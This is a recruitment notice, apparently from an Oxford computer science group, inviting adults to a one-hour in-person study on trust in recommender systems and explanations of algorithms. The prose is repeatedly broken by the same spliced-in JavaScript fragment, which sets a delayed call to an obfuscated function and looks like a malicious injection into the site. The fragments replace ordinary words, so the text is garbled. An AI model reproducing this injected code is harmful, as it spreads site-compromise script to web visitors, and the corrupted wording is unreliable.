How much do you trust the books or hotels that online platforms are recommending dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you?
Recommender systems help users find information items more efficiently. They are widely used in our daily life, for example, helping us find books (Amazon), music (Spotify) or hotels. However, these systems are facing increasing scrutiny in recent years, due dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to biases in the recommendations, such as books by particular authors or hotels of specific price ranges.
As a result, users may be discriminated against and lose trust in recommendation results generated by computers. The working hypothesis is that users would establish a better belief of the recommender systems if they could have a better understanding of how specific recommendations are generated. However, little evidence has demonstrated that a better understanding of recommender algorithms can indeed lead dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to positive confidence or trust of these systems.
Therefore, the Algorithm Playground study in the ReEnTrust project aims dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to explore exactly that.
You are invited dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to participate in a short interview (~1 hour) in-person in our Oxford lab (Parks Road) and London (location TBC). During the study, you will first be asked dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to complete an online experiment in person and respond dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a few short interview questions. You will be asked about how different explanation styles may help you understand the algorithms and how this may make you feel about these algorithms.
The study should last less than 60 minutes. No prior knowledge is required, as long as you are over 18 years old and are a regular user of the Internet.
The workshops will take place in the Department of Computer Science,39a St Giles, OX1 3LN, between 5th September and 4th Ocdom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tober. The specific date and time can be agreed upon on an individual basis.
